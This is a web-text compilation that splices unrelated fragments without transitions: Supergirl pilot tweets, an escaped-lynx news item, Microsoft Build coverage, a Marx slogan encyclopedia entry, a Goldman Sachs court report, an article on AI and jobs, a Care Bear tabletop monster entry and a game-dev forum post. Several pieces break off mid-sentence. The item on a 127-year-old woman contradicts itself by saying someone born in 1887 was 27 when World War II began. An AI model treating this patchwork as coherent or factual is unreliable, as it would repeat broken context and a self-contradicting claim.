#Supergirl pilot screening first at #SDCC tonight. Love this pilot! So cute and funny! #WBSDCC — Tiffany Vogt (@TVWatchtower) July 9, 2015
So beyond thrilled to see @LauraBenanti in the Supergirl pilot tonight at #SDCC. Honestly, I'd watch her read the phone book. #WBSDCC — Cat Zimm (@cimzim) July 9, 2015
Supergirl pilot was (forgive me) super! Legends of Tomorrow looks really great. And your dad is probably going to love Blindspot. #WBSDCC — Erica (@echotennyson) July 9, 2015
Super Girl pilot preview = Girl Power! Looks fun. I'm in! Looking forward to a new adventure. #WBSDCC #Supergirl — Movie Floozy (@moviefloozy) July 9, 2015
Heard multiple people say they liked the #Supergirl pilot, and the new #LegendsOfTomorrow footage looks AMAZING #SDCC2015 — Outer Places (@outerplaces) July 9, 2015
Just saw Supergirl pilot. Suffering pacing issues and too much reliance on cheesy cliches, but great scenario and actors! #WBSDCC — shannon mun (@shannonmun) July 9, 2015
they crammed a lot into the pilot. I'm looking forward to the upcoming episodes moving more steadily. #WBSDCC — shannon mun (@shannonmun) July 9, 2015
#WBSDCC First episode of #Supergirl proves Melissa Benoist a winning new star — Keith Simanton (@IMDbKeith) July 9, 2015
For more: Supergirl’s Melissa Benoist on landing the role of a lifetime
#ComicCon #SDCC #WBSDCC I didn't really care for some of the characters like #Supergirl's boss. Hopefully, future episodes will be better. — Jon Roark Foley (@JonRoarkFoley) July 9, 2015
#ComicCon #SDCC #WBSDCC #Supergirl powers underutilized. The story was too fast paced & the tone had had a weird bubbly feel to it. Cont.. — Jon Roark Foley (@JonRoarkFoley) July 9, 2015
Ranking tonight's pilots at #SDCC: Supergirl, Lucifer and Containment (tied for second), and Blindspot. Really enjoyed them all. #WBSDCC — Chris King (@ckinger13) July 9, 2015
Supergirl is amazing. That is all. #WBSDCC — Kyle Martin (@kstuartm1) July 9, 2015
Calista Flockhart is a scene-stealer if I ever saw one. #WBSDCC #Supergirl — Renee Macek (@ItsDrVenkman) July 9, 2015
And a couple outright pans:Media playback is unsupported on your device Media caption Lynx at Borth Wild Animal Kingdom similar to the one that has gone missing
A lynx has escaped from a wildlife park in Ceredigion.
The Eurasian lynx, which is about twice the size of a domestic cat, escaped from Borth Wild Animal Kingdom, near Aberystwyth.
Police said they have been told the animal went missing some time during the last five days.
Park operators said there has never been an attack recorded on people - but warned the public it could retaliate "if cornered or trapped".
Staff said the lynx should not be approached if spotted - as it is a wild animal and has sharp teeth and claws.
"We have fully-trained keepers on hand to deal with the situation," said a park official.
"She is not used to hunting live prey but will chase rabbits and rodents when she gets hungry.
"Lynx can travel about 12 miles a day, but the chances are she hasn't gone far.
"We will be putting out camera traps around the perimeter of the zoo and relying on sightings by the public. Once we learn her location and follow her trail pattern we can set up monitored traps to catch her."
The wild cat is described as being tan and white in colour with dark spots on her back and legs, with a thick, stubby tail which is no more than six inches long.
Image copyright Robert Lamb/Geograph Image caption The Eurasian lynx
Image caption The lynx is one of a number kept at the animalarium in Borth
If the animal is seen, people are asked to contact the zoo park directly or the police.
Dyfed-Powys Police said the public in the area should be "alert and vigilant".
"The lynx is unlikely to approach people, but may attempt to take livestock or pets as food," said a force spokeswoman.
"We do however advise that the animal should not be approached as it could become aggressive if cornered.
"It is believed that the lynx remains in fairly close proximity to the Animalarium, but of course it could potentially go further afield."A group of community organizations have come together to speak with a unified voice for an alternative to the convention center’s benefit proposal: The Community Package. It represents up to $86 million of investments in projects with meaningful and lasting community benefits.
WITH a $1.6 billion price tag, the Washington State Convention Center (WSCC) addition will be the single largest real estate development in Seattle history — more costly than Safeco Field and CenturyLink Field combined. This project is to be built on public land, by a public agency and financed with tax dollars. As a city, that means we have a once-in-a-generation opportunity to invest in what the community needs most: public open spaces, safe routes for people walking and biking, and homes affordable to working families.
In February, the convention center proposed a package of public benefits in exchange for repurposing 1.28 acres of aboveground and underground streets and alleyways owned by the public. The package of benefits is supposed to be proportional with what the WSCC is asking the public to give up as well as the |
. Who knows where that might have taken me? But seeing the little rat hole, I just ducked through there.
GamesBeat: You can’t go back to the roof and say, “Yeah, you don’t see me. I’m not here.”
Yager: Like I say, we’re still tuning. There will be ways to lose them for a brief moment, to catch your breath, and figure out the next plan.After last year's big splashes with Windows 10 and HoloLens, this year's Microsoft Build was more incremental. Though Microsoft didn't release or announce a new version of Windows at the event, or even any new hardware, it did give us a look at what's coming up in the so-called Anniversary Update of Windows 10, due out this summer.
Remember, Windows 10 is the last numbered version of Windows; going forward updates will be smaller and more frequent. Over 270 million people are regularly using Windows 10, Windows head Terry Myerson announced during yesterday's keynote. But even the Anniversary Update lacks any truly brand-new blockbuster features; rather it turbo-charges existing features like the AI digital assistant Cortana.
Much of what's coming for Windows is primarily of concern to developers: For example, new tools will allow them to easily port their programs for previous Windows versions to modern Windows 10 Store apps. And the OS will support the Linux Bash shell, allowing even more applications to run. I should note that the Windows 10 Anniversary update doesn't pertain only to PCs, but also to phones, tablets, Xbox, Internet-of-things devices, and HoloLens. Here's what's on tap.
1. A More Powerful Cortana
Not only does Cortana become more proactive, suggesting more things such as where to have lunch if you're in an unfamiliar city (since you've told her your cuisine preferences), but she'll appear in more places on the system, such as the lock screen and within Skype as a bot conversation. Cortana on the lock screen is a tricky topic for privacy, but Microsoft reps say you'll have to specifically allow her, for example, to show info from your calendar appointments.
One intriguing new Cortana capability that wasn't discussed much at the conference was system control through Cortana. "Hey Cortana, shut down the PC!" doesn't work now, but a video shown at Build suggests it will in the Anniversary Update. One wonders if that also means Cortana will be able to change system settings, like "Turn off Wi-Fi" or "Check for Updates."
Cortana now taps into more third-party apps for answers and actions. If you've used her, you know she can easily get Yelp and TripAdvisor info, but the company has launched a new "Better with Cortana" section in the Windows app store, and says nearly 1,000 apps now integrate with Cortana. So go ahead, say, "Cortana, get me an Uber car!"
2. More Ink
Owners of Surface tablets also get a pen or stylus (which magnetically hugs the side of some models), and Microsoft hopes that it can take people's habit of writing with pens and pencils to more Windows devices. Not only will the Anniversary update including a new sticky notes feature, but it will also get new editing gestures such as striking out text or applying highlighter. Third-party software developers will also be able to easily add inking capabilities to their apps.
3. More Hello
Windows Hello lets Windows 10 devices users log into their machines biometrically—with face recognition, iris recognition, fingerprints, or other unique personal measurements. But new for the technology will be the ability to log into websites on the Microsoft Edge Web browser and to third-party apps. Website developers can use JavaScript APIs to make the secure authentication work with their sites. After Hello verifies the user, Microsoft Passport uses public-key encryption to unlock the resources.
4. More Gaming
Unsurprisingly, most of the gaming news from this year's Build concerns the Xbox One. But the PC also got a few in-demand capabilities, such as support for multiple GPUs and the ability to turn off VSync and enable GSync and FreeSync instead (PC gamers know these graphics modes). The new Desktop App Converter will enable game developers to put out Universal Windows App versions of their work, including support for modding.
Maybe the biggest announcement regarding games at Build 2016 was Dev Mode for Xbox One, which lets developers easily turn any Xbox One into a development kit. That means more folks will be able to create more games. Sure, that last item is about Xbox rather than PC gaming, but remember, Xbox will eventually be just another Windows 10 device running Universal Windows apps.Hezbollah MP Nawaf Musawi decried Monday the delay in receiving weapons and equipment promised to the Lebanese Army, more than a year after the announcement of a $3 billion Saudi military grant.
Musawi said during a memorial service in the southern town of Abassieh.
"No one has the right anymore to be confused about the battle in Syria, which is not a conflict between the rebels and the Syrian regime or between the opposition and authorities, but what is happening there is a war waged by the enemies of the resistance who are clearly the Israelis and their takfiri allies".
He said the Qunaitra attack, which took place in front of U.N. eyes, had been coordinated between takfiris and the Israeli enemy".
Simultaneously, Musawi said, the Lebanese Army is exposed to attacks by Islamist militants, referring to the latest battle between the military and "takfiris" on the outskirts of Ras Baalbek.
...Coal strip mine in Gillette, Wyoming.
Much is made of the “war on coal” in some circles, but the war on coal miners is mostly ignored. That war, of course, has been going on for more than a century in various forms.
Company “gun-thugs” once battled unions with bullets, and company lawyers fought black lung legislation with pens and lobbying. Later, they did the same with environmental regulations.
Today, the battered U.S. coal industry, much of it on the verge of bankruptcy or already over the precipice, is doing what it can to steal workers’ benefits, including their pensions, and to avoid government-mandated environmental clean up costs. But the companies are rewarding executives who succeed in this endeavor. Take the bread out of a worker’s mouth and you get to eat cake. It’s a good addition to the résumé in the world of corporadoes.
Take, for instance, Alpha Natural Resources, which filed for bankruptcy last year. Nicole Gentile writes:
Seven executives and eight other employees who remain unnamed in court documents are eligible for the bonus if they hit certain metrics for cutting costs while protecting the company’s cash reserves. Top executives were already promised $2 million retention bonuses for staying with the company through August 2016. These bonuses are described by Alpha as incentives to ensure high-level performance, something that is apparently not covered by annual salaries. In 2014, as the company was evidently on the verge of financial collapse, Alpha paid CEO Kevin Crutchfield nearly $8 million, and former President Paul Vinning more than $4.5 million. The plan to dole out millions of dollars to the same executives that bankrupted the company is the latest in a series of controversial steps taken by the industry giant. Late last year, Alpha also proposed to eliminate health insurance, disability, and other benefits for mine workers. According to court documents, this move would affect more than 4,500 disabled former employees, non-union retirees, and their families.
Complaints about such bonuses are bound to be ignored. Those executives are, after all, just doing what they are ordered to do, right? If they perform their screw-job efficiently, surely they deserve the extra money for it.Slogan
"From each according to his ability, to each according to his needs" is a slogan popularised by Karl Marx in his 1875 Critique of the Gotha Program.[1] The principle refers to free access and distribution of goods, capital and services.[2] In the Marxist view, such an arrangement will be made possible by the abundance of goods and services that a developed communist system will produce; the idea is that, with the full development of socialism and unfettered productive forces, there will be enough to satisfy everyone's needs.[3][4]
Origin of the phrase [ edit ]
The complete paragraph containing Marx's statement of the creed in the Critique of the Gotha Program is as follows:
From each according to his ability, to each according to his needs![1][3][4] In a higher phase of communist society, after the enslaving subordination of the individual to the division of labor, and therewith also the antithesis between mental and physical labor, has vanished; after labor has become not only a means of life but life's prime want; after the productive forces have also increased with the all-around development of the individual, and all the springs of co-operative wealth flow more abundantly—only then can the narrow horizon of bourgeois right be crossed in its entirety and society inscribe on its banners:
Although Marx is popularly thought of as the originator of the phrase, the slogan was common within the socialist movement. For example, it was used by August Becker in 1844[5] and Louis Blanc in 1851.[6] The origin of this phrasing has also been attributed to the French utopian Étienne-Gabriel Morelly,[7][8] who proposed in his 1755 Code of Nature "Sacred and Fundamental Laws that would tear out the roots of vice and of all the evils of a society", including:[9]
I. Nothing in society will belong to anyone, either as a personal possession or as capital goods, except the things for which the person has immediate use, for either his needs, his pleasures, or his daily work.
II. Every citizen will be a public man, sustained by, supported by, and occupied at the public expense.
III. Every citizen will make his particular contribution to the activities of the community according to his capacity, his talent and his age; it is on this basis that his duties will be determined, in conformity with the distributive laws.
A similar phrase can be found in the Guilford Covenant in 1639:
according to every man's ability, and as need shall require, and we promise not to desert or leave each other or the plantation, but with the consent of the rest, or the greater part of the company who have entered into this engagement.[10] We whose names are here underwritten, intending by God's gracious permission to plant ourselves in New England, and if it may be, in the southerly part about Quinnipiack, do faithfully promise each, for ourselves and our families and those that belong to us, that we will, the Lord assisting us, sit down and join ourselves together in one entire plantation, and be helpful each to the other in any common work,and we promise not to desert or leave each other or the plantation, but with the consent of the rest, or the greater part of the company who have entered into this engagement.
Some scholars trace the origin of the phrase to the New Testament.[11][12] In Acts of the Apostles the lifestyle of the community of believers in Jerusalem is described as communal (without individual possession), and uses the phrase "distribution was made unto every man according as he had need" (διεδίδετο δὲ ἑκάστῳ καθότι ἄν τις χρείαν εἶχεν):
Acts 4:32–35: 32 And the multitude of them that believed were of one heart and of one soul: neither said any of them that ought of the things which he possessed was his own; but they had all things common. 33 And with great power gave the apostles witness of the resurrection of the Lord Jesus: and great grace was upon them all. 34 Neither was there any among them that lacked: for as many as were possessors of lands or houses sold them, and brought the prices of the things that were sold, 35 And laid them down at the apostles' feet: and distribution was made unto every man according as he had need.
However, other scholars disagree with this, and claim that the phrase 'from each according to their abilities, to each according to their needs' has a non-religious origin, in 'the Roman legal concept of obligation in solidum' [13] The Roman legal concept of obligation in solidum is that 'everyone assumes responsibility for anyone who cannot pay his debt, and he is conversely responsible for everyone else'. [14] James Furner then argues:
'If x = a disadvantage, and y = action to redress that disadvantage, the principle of solidarity is: if any member of a group acquires x, each member has a duty to perform y (if they can assist). All we then need to add, to get to the fundamental principle of developed communism, is to assume that non-satisfaction of a need is a disadvantage. The corresponding principle of solidarity in respect of need says: if any member of society has an unsatisfied need, each member has a duty to produce its object (if they can). But that is precisely what the principle ‘from each according to their abilities, to each according to their needs!’ dictates. In Marx’s vision, the basic principle of developed communism is a principle of solidarity in respect of need.' [15]
Debates on the idea [ edit ]
Marx delineated the specific conditions under which such a creed would be applicable—a society where technology and social organization had substantially eliminated the need for physical labor in the production of things, where "labor has become not only a means of life but life's prime want".[16] Marx explained his belief that, in such a society, each person would be motivated to work for the good of society despite the absence of a social mechanism compelling them to work, because work would have become a pleasurable and creative activity. Marx intended the initial part of his slogan, "from each according to his ability" to suggest not merely that each person should work as hard as they can, but that each person should best develop their particular talents.[17][18]
Claiming themselves to be at a "lower stage of communism" (i.e. "socialism", in line with Marx's terminology),[19] the Soviet Union adapted the formula as: "From each according to his ability, to each according to his work (labour investment)".[20]
While liberation theology has sought to interpret the Christian call for justice in a way that is in harmony with this Marxist dictum, many have noted that Jesus' teaching in the Parable of the Talents (Matthew 25:14–30) affirms only "TO each according to his ability" (Matt. 25:15), and not "FROM each according to his ability".[21][unreliable source?]
In popular culture [ edit ]
The slogan was parodied in the novel Moscow 2042. After "Communism in one city, in Moscow, had been built, every morning the radio announced: "Comrades, your needs for today are as follows:...".
See also [ edit ]
References [ edit ](Reuters) - New York’s top state court on Thursday revived a bond insurer’s $120 million lawsuit claiming Goldman Sachs Group Inc (GS.N) lied about a pool of securities backed by subprime mortgages during the period leading up the financial crisis.
File photo of the Goldman Sachs logo displayed on a post above the floor of the New York Stock Exchange, September 11, 2013. REUTERS/Lucas Jackson
The New York Court of Appeals in a 5-2 decision said the suit by ACA Financial Guaranty Corp ACAFG.UL should move forward because the insurer had raised issues about the role of billionaire John Paulson’s hedge fund in a collateralized debt obligation called Abacus.
ACA Financial said Goldman had deceived it into believing hedge fund Paulson & Co was a long investor in Abacus when it knew Paulson was betting the underlying mortgages would fail.
ACA says it lost approximately $900 million on the deal when the subprime mortgage market collapsed.
Under state law, a fraud case may only proceed if the plaintiff can show it “justifiably relied” on representations made by the defendant.
A mid-level appeals court in 2013 said ACA Financial was a sophisticated company that could have done its own research, including asking Paulson directly about its role in Abacus.
The Court of Appeals disagreed, saying ACA Financial specifically asked Goldman about Paulson’s participation in the transaction and received assurances it was a long investor.
The court sent the case back to a lower appeals court to consider other issues before the suit proceeds in a state trial court in Manhattan.
Goldman spokesman Michael DuVally said the firm was disappointed with the decision, but “confident that... these contrived claims will fail”.
ACA Financial CEO Steven Berkowitz said in a statement that the company was pleased with the decision.
In dissent, Court of Appeals Judges Susan Read and Sheila Abdus-Salaam said ACA Financial could have asked more questions and requested a written assurance from Goldman.
“Instead... ACA merely relied on what it says Goldman told it without actually checking the source,” Read wrote.
In 2010 Goldman agreed to pay $550 million to settle claims by the U.S. Securities and Exchange Commission that it misled investors in Abacus, though it did not admit wrongdoing.
ACA Financial in 2013 amended its suit to add Paulson & Co as a defendant. The hedge fund moved in state court in Manhattan to dismiss the claims, and the case was stayed, pending the appeal decided Thursday.
The case is ACA Financial Guaranty Corp v. Goldman Sachs & Co, New York State Court of Appeals No. 49.The National Broadband Network has been panned by mainstream media as too big, too expensive and too ambitious to ever be completed, while Senator Stephen Conroy has constantly come under fire from his opposite, Malcolm Turnbull MP, for pushing the fibre barrow on the country. Strangely enough, the whole thing sounds a lot like the Snowy Mountain Hydro-Electric Scheme did back in the day.
This newspaper clipping from the Sydney Morning Herald published on 16 November, 1953, tells the story of how minister for national development, Senator W.A Spooner, was slammed for the cost of the Snowy Scheme, which at the time had been estimated at a cost of £442 million.
The news article reports that the scheme was being panned as irrelevant because, in time, the hydroelectric scheme would be replaced by atomic power. Sounds a lot like the fibre versus wireless device, doesn't it? [Trove via Warwick and Mark Pesce]Hollywood got it wrong. The highly intelligent machines that will be unleashed in the near future won’t be coming for our lives. They’ll be coming for our jobs.
Being rendered obsolete by technology has been a concern among the flesh-and-blood set for hundreds of years — cars put many in the horse industry out of work, for example — but the speed and types of recent advances are about to give the issue an exceptional urgency.
Previously, it was repetitive blue-collar jobs that were at risk, such as those in manufacturing. In the near future, however, the leaps in artificial intelligence will soon make it possible for machines to do all sorts of jobs, including those that require thinking skills we once believed beyond the reach of machines.
Elements of this brave new world are laid out in “Homo Deus: A Brief History of Tomorrow” by Yuval Noah Harari, an Oxford-educated historian and professor at the Hebrew University of Jerusalem.
“I think we should be worried, and worried now,” Harari tells The Post. “Just 20 percent unemployment can cause political and social upheaval.”
In recent centuries, we have managed to rein in three huge obstacles that have stymied progress for centuries: famine, war and plague. But in the upcoming decades, one of the crucial questions will be what we humans will do for a living, as artificial intelligence speeds towards levels once reserved for science fiction.
A 2013 study by Oxford economists Carl Benedikt Frey and Michael Osborne concluded (using a sophisticated algorithm, of course) that some 47 percent of US jobs were at high risk from automation in the next 20 years. The economists posited that it was a near certainty that human telemarketers, insurance underwriters, security guards and other fields would vanish. Even sports referees could be headed for the historical dust bin.
Another research report issued in 2015 by McKinsey Global Institute, a business think tank, found that 95 percent of jobs should be safe until 2020, but after that, technology will change the landscape rapidly, with many employees’ duties moving to automation. The study found that 45 percent of work activities could be automated, including 20 percent of the responsibilities handled by the world’s obscenely compensated CEOs, such as analyzing operations data.
It might be a few years yet before your company is run by a machine, but the transition in other lower-paying fields is right around the corner.
One of the most vulnerable jobs is truck driver. The estimated 1 million American long-haul truckers will soon be replaced by self-driving vehicles that never need to sleep or stop to wolf down a greasy burger. Last year, Uber bought a self-driving startup called Otto. A few months later, one of its trucks made the first driverless delivery, shuttling 50,000 cans of beer 120 miles from Fort Collins to Colorado Springs.
It might be a few years yet before your company is run by a machine, but the transition in other lower-paying fields is right around the corner.
The outlook is equally bleak for the 8 million Americans working as salespeople or cashiers. Last year, Amazon opened an 1,800-square-foot store in Seattle with no cashiers or lines. Customers can simply grab the items they want off the shelf and walk out. Sensors track their purchases and charge the customers via their Amazon accounts after they leave the store.
Considering a career in the military? Human soldiers will likely be replaced by deadly robots and drones.
“Human soldiers murder, rape and pillage, and even when they try to behave themselves, they all too often kill civilians by mistake,” Harari writes.
The robotic killing machines could be programmed with “ethical algorithms” that will force them to strictly conform to the rules of the battlefield. And if they’re captured, they can’t be tortured, held hostage or coerced to reveal any of their nation’s secrets.
Government bureaucrats could also be endangered. A recent report from Reform, a right-leaning think tank, suggested that about 90 percent of British civil servants have jobs so pointless, they could be replaced by a machine. Transitioning to robots could save the government $8 billion per year.
Even a high-paying career such as medical doctor, previously considered safe from cold, faceless automation, is in jeopardy. A recent experiment found that a computer algorithm correctly diagnosed 90 percent of lung-cancer cases presented to it, outperforming a human physician by 40 percent.
“It won’t be all doctors,” Harari says. “If you research cures for cancer, you’re safe, but if you’re a general practitioner [who diagnoses diseases], this is something that AI will do much better than most human doctors. The GP is going to be extinct.”
Algorithms capable of instantaneously sifting millions of legal precedents could someday replace lawyers. And it’s conceivable that a machine could one day scan brains, serving as an infallible lie detector. Criminals will be easily proven guilty, helping to render not only lawyers, but also judges and detectives, obsolete.
Schools and teachers may also go the way of the dodo. Children will receive their lessons from sophisticated AI, possibly contained within a smartphone. Gone will be the days of 30 kids sitting in a room being tutored by various teachers specializing in different subjects.
“Companies are working on an AI teacher that is adapted to the strengths and weaknesses of the individual child,” Harari says. “Most schools will disappear. It will be much more similar to medieval apprenticeship. You’ll get instruction on everything from a single source.”
Even art, once the exclusive product of humans plumbing their souls, is being encroached upon by machines. David Cope, a University of California at Santa Cruz musicology professor, created a computer program called Experiments in Musical Intelligence designed to write chorales in the style of Bach. The tunes were played for an enthusiastic music festival audience, but when the source of the composition was revealed, some of that enthusiasm turned to anger and disbelief.
Cope later created another program capable of composing poetry. The algorithm contributed to a 2011 collection called “Comes the Fiery Night: 2,000 Haikus Written by Man and Machine.” (The book does not reveal who wrote what.)
This disruption in the workforce will likely come with challenges and dangers yet unseen in human history, not the least of which is the creation of a massive new stratum of society that Harari terms the “useless class.” These will be those citizens “devoid of any economic, political or even artistic value, who contribute nothing to the prosperity, power and glory of society.”
During the Industrial Revolution, farmers rendered obsolete could make the transition to unskilled factory jobs reasonably easily. In the future, it’s fairly unlikely the unemployed taxi driver is going to suddenly become a skilled software engineer.
Figuring out how to support the millions of out-of-work people could be one of the biggest economic challenges of the next century. Bill Gates has suggested taxing robotic workers just like humans. Tesla founder Elon Musk and others have advocated for a universal basic income — having the government hand over a certain sum each year to every citizen in order to keep the populace afloat.
A thornier issue the unemployed masses will face is a philosophical one.
“The harder challenge is how do people then have meaning, because a lot of people derive their meaning from their employment,” Musk said at the World Government Summit. “If you are not needed, if there is not a need for your labor, what’s the meaning?”
Harari predicts the “useless class” will occupy their days by immersing themselves in virtual-reality games. The chronically unemployed, Harari predicts, could also turn to drug use to pass the time — though one wonders if, in the future, with so many potentially dependent on chemical substances, less harmful drugs will be developed and legalized.
Meanwhile, the money that used to flow to workers will increasingly end up in the hands of the “tiny elite that owns the powerful algorithms,” Harari predicts, creating unprecedented social inequality.
There may even come a day when the algorithms themselves own much of the world’s wealth. (A health-related program is likely to be the most valuable.) It’s one small leap from today’s reality, in which much of the planet is already owned by non-human entities — namely nations and corporations.
That pattern will soon be upended, and workers will be forced to reinvent themselves multiple times within a lifetime, as technology continues to advance.
Not every worker will be tossed out on their behinds, of course. Some fields are unlikely to be automated. Archaeologists, for example, will continue to find work, because the job requires sophisticated pattern recognition that would be challenging to program into a machine, and the industry’s profits are so small that someone is unlikely to make the investment in an automated replacement.
Philosophers may also experience a windfall, as the new machine age will present unique problems that require human adjudication. “You’ll have to have practical answers to these kinds of philosophical questions,” Harari says.
Regardless of one’s chosen career path, we’re all going to have to be more flexible in the future. It used to be that humans spent the first part of our lives learning a skill that we then utilized in a career until we retired. That pattern will soon be upended, and workers will be forced to reinvent themselves multiple times, as technology continues to advance.A Mexican woman to become the oldest ever person at 127 says chocolate is her secret to long life.
Ms Lumbreras' family say that chocolate is they key to her long life, as well as sleeping for days on end and never getting married. "She's always had a good tooth, even at her old age. She has no diabetes or hypertension so can eat as many chocolates and sweets as she likes," granddaughter Miriam Alvear, 43, said. "She was always a woman who fought. She was still sewing and weaving until about two years ago." "She never ceased to be active, that's why we think she's lived so long." Leandra Becerra Lumbreras was born on 31 August, 1887. Leandra Becerra Lumbreras was born on 31 August, 1887.
She was 27 when World War II broke out and 82 when man first set foot on the moon.
The 127-year-old reportedly fought in the 1910-1917 Mexican Revolution as a leader of the 'Adelitas' - a group of women who went with their husbands to battle.
The tragedy of Ms Lumbrera's long life is that she has already buried five children and several of her 20 grandchildren, the last of whom died in 2013 at age 90.
She has 73 great-grandchildren and 55 great-great-grandchildren.
[source:youtube]
source: data archiveEcology of the Care Bear
"The Care Bears have a very special mission, and that mission is to help everyone share their feelings with others."
- Mr. Cherrywood, The Care Bears Movie
Many monsters feed on pain and misery. Acts of evil and despair seem to nourish their very bodies. But for everything, there is an opposite. There are creatures that seem to live on joy and happiness. For them, evil is a poison that drains their vitality. The care bears are such creatures.
History of the Care Bear
The exact origins of the care bears are shrouded at best. Captured specimens speak of a kingdom known as Care-a-Lot, a vast land filled with solid clouds, located somewhere in the Positive Energy Plane. Some have even spoken of a being known as the Cloud-Keeper, who may be responsible for their existence.
Historians have found but scant references to this 'Cloud-Keeper', a wizard of no small skill. It is believed that his work focused on extracting the essence of the Inner Planes. If that is true, then Cloud-Keeper may have infused positive energy into the bodies of ordinary bears and carefully molded their bodies into less threatening forms.
The history of the care bears on the Material Plane is better known. They started to appear in small numbers, often in pairs or larger patrols about a century ago. They invariably locate a person or creature in distress, either physical or emotional, and attempt to assist them.
It is unknown how exactly care bears travel to and from the Positive Energy Plane. Many wizards theorize that the creatures have a series of portals connecting their home plane to the Material Plane. The care bears themselves claim to possess chariots made of clouds that help them to travel, but most scholars scoff at the very notion.
Although care bears appear to be cute and cuddly, they are extraordinarily dangerous. Their presence or interference may exacerbate an already precarious situation, such as increased aggression from a horde of orcs towards a small farming village. What may have been only a raid is certain to become a massacre after the care bears attempt to become involved. Even in more mundane situations, their naivety and child-like natures can cause them to interfere where they're not needed and cause trouble.
Physiology of the Care Bear
Care bears are short, bipedal, bear-like creatures. They stand approximately three feet tall and weigh about 30-50 pounds. They lack claws or strong jaws and appear to be unable to defend themselves physically. Their diminutive size means that they are far less strong or tough than ordinary bears, but their connection to the Positive Energy Plane makes them insightful and charismatic.
Care bears are covered in fur, which is often bright and colorful. Their fur is usually a bright, unnatural color like pink, purple or blue, except around their muzzles and on their stomachs, where it is white.
The care bears possess a large symbol on their stomachs, which they refer to as a tummy symbol, or alternatively, a belly badge. These symbols are unique to each care bear and can serve as a way help identify them as individuals. The images themselves appear to relate to the care bear's vocation, hobby or personality and the care bears often name themselves after them. It is unknown if the symbols are a result of the care bears' particular personality or if the personalities are driven by the symbols.
The symbols themselves also serve another purpose. The care bears can utilize them to project a ray of positive energy that they can use as a weapon. Alternatively, they appear to be able to alter these so-called'stares' into a morale-boosting energy. These stares appear as beams of bright light that arc out towards their targets.
Care bears possess a simple digestive system that is unremarkable. In fact, most of their organs are closer to what would be expected in a small humanoid, like a halfling or human child, than in an ursine. They prefer prepared human-cooked food to the simple omnivorous diet of the common black bear.
Psychology and Society of the Care Bear
Although no exploration of their home land of 'Care-a-Lot' has been performed, investigations with care bear specimens seem to suggest that they live in a shared collective, not unlike those of elves. Their land appears to be peaceful, and the lack of competing species in the Positive Energy Plane means that they have little to fear from predators.
Care bears are highly sensitive to the emotions of other creatures, though they don't possess any psionic abilities. They appear to be preoccupied with the concepts of empathy and friendship. Some captured specimens have remarked about a care meter having dropped, which suggests that they possess a device capable of determining to total amount of caring on the Material Plane.
Strangely enough, care bears appear to have an irrational fear and hatred of arcane spellcasters, especially wizards. They will go out of their way to cause trouble for a wizard. Care bears seem to see such arcane practitioners as evil or as an antithesis to caring. The exact number of care bears in existence is unknown, but wizards who have studied the creatures (often under the aegis of a protection from positive energy spell) have expressed concerns about a possible future invasion of care bears intent on the destruction of all wizardry.
Care bears are almost universally good, and their lack of exposure to other cultures makes them child-like and naïve. In turn, they are usually fairly easy to manipulate or capture. They often travel in groups to reduce the likelihood of their being abducted or forced into slave labor.
Other Care Bear Species
Other creatures, similar to care bears have been hypothesized. These 'cousins' to the care bears could potentially come from any kind of animal, such as a lion, rabbit, monkey or even an exotic creature like an elephant. No care bears have confirmed if such beings exist, but neither have they denied the possibility.
There have been rumors of creatures referred to as 'dire care bears'. The overwhelming life-force of the Positive Energy Plane appears to have the ability to alter a care bear into a more primal form. These creatures can grow up to 12 feet long and weigh several thousand pounds, but without any of the good nature or ability to reason of their kin. Like ordinary care bears, dire care bears possess an irrational hatred of wizards and will attack them without mercy. Thankfully dire care bears are as rare as they are dangerous.
It is also rumored that the mysterious Cloud-Keeper may have accidentally transported a werebear to the Positive Energy Plane while conducting his bizarre experiments. It is possible that the resulting creature could possess all of the abilities of both a care bear and of a lycanthrope, a frightening combination. Luckily, there has yet to be a single sighting of a were care bear.
New Material
Care Bear
Small Monstrous Humanoid (Extraplanar)
Hit Dice: 1d8-1 (3 hp)
Initiative: +5
Speed: 20 ft. (4 squares)
Armor Class: 12 (+1 size, +1 Dexterity), touch 12, flat-footed 11
Base Attack/Grapple: +1/-4
Attack: -
Space/Reach: 5 ft./5 ft.
Special Attacks: Care bear stare
Special Qualities: Darkvision, tummy symbol
Saves: Fort -1, Ref +3, Will +3
Abilities: Str 8, Dex 12, Con 9, Int 10, Wis 12, Cha 12
Skills: Diplomacy +5, Heal +3, Hide +5, Listen +5, Perform (sing) +3
Feats: Improved Intitiative
Environment: Positive Energy Plane
Organization: Pairs, care patrol (2-3), happiness gang (4-8), emergency crew (9-15), doom squad (16-100)
Challenge Rating: 1/2
Treasure: None
Alignment: Neutral good
Advancement: By character class
Level Adjustment: +1
A small bear-like creature covered in brightly colored fur stands before you. On his stomach is the image of a star, which begins to glow brightly as he pushes it out towards you.
Care bears are small ursine (that means bear) like creatures that exist to further the amount of caring on the Material Plane. Hailing from the Positive Energy Plane, they claim to live in a kingdom known as Care-a-Lot. Seriously, why are you even reading this small description? It's just a short recap of what's above. Oh, and care bears speak Common, but after five minutes of hearing their saccharine views on the world, you'll wish they couldn't.
Combat
Care bears are fairly weak and lack any natural attacks. They instead possess a powerful 'care bear stare' ability that allows them to blast an opponent with positive energy.
Care Bear Stare (Su): As a standard action, a care bear may make a ranged touch attack against a single target within 30 feet. If successful, this attack deals 1d6 points of positive energy damage. Unlike normal other sources of positive energy, such as cure spells, this energy deals damage to both living and undead targets.
The damage dealt by the care bear stare may be either lethal or non-lethal at the care bear's discretion.
In addition, a care bear can channel their stares into a good hope effect, which acts like the spell (Will DC 11; save is Charisma-based) except that it has a duration of 1 round.
Once a care bear has used their stare ability, they may not do so again for 1d4 rounds.
Multiple care bears can concentrate their stares together in a single attack. A concentrated beam deals 1d6+1 points of damage per care bear participating (minimum of two care bears are required to concentrate a stare) to a single target. For example, if five care bears decided to concentrate their stares on a raging barbarian, they would deal 5d6+5 points of damage if they struck.
Multiple care bears can also concentrate their stares together to improve their good hope ability. Each additional care bear provides an additional round to the duration of the |
style and no audio) and a limited set of levels. Also submitted under the old name - "Replicas".Here's the feedback:I agree with most of the feedback. The one new idea that jumps out is timed mode, which is something really interesting considering I was trying to speedrun a set of levels yesterday and it is interestingly hard.There are plenty more "mean" levels that I've playtested showing both the "a-ha" moment and the "wait a minute" one. Graphics completely revamped. Audio added and works quite well. Hitbox size too large I agree with, it's been on my list for a while.Unfortunately when I submitted this I included some earlier levels that didn't fully exploit the dual nature of the game. More recent playtesting with a more aggressive mechanic introduction seems to work better in terms of keeping players interested.Now back to work... Logged Semispheres - single-player puzzler
Greenlight | @VividHelix | http://semispher.es
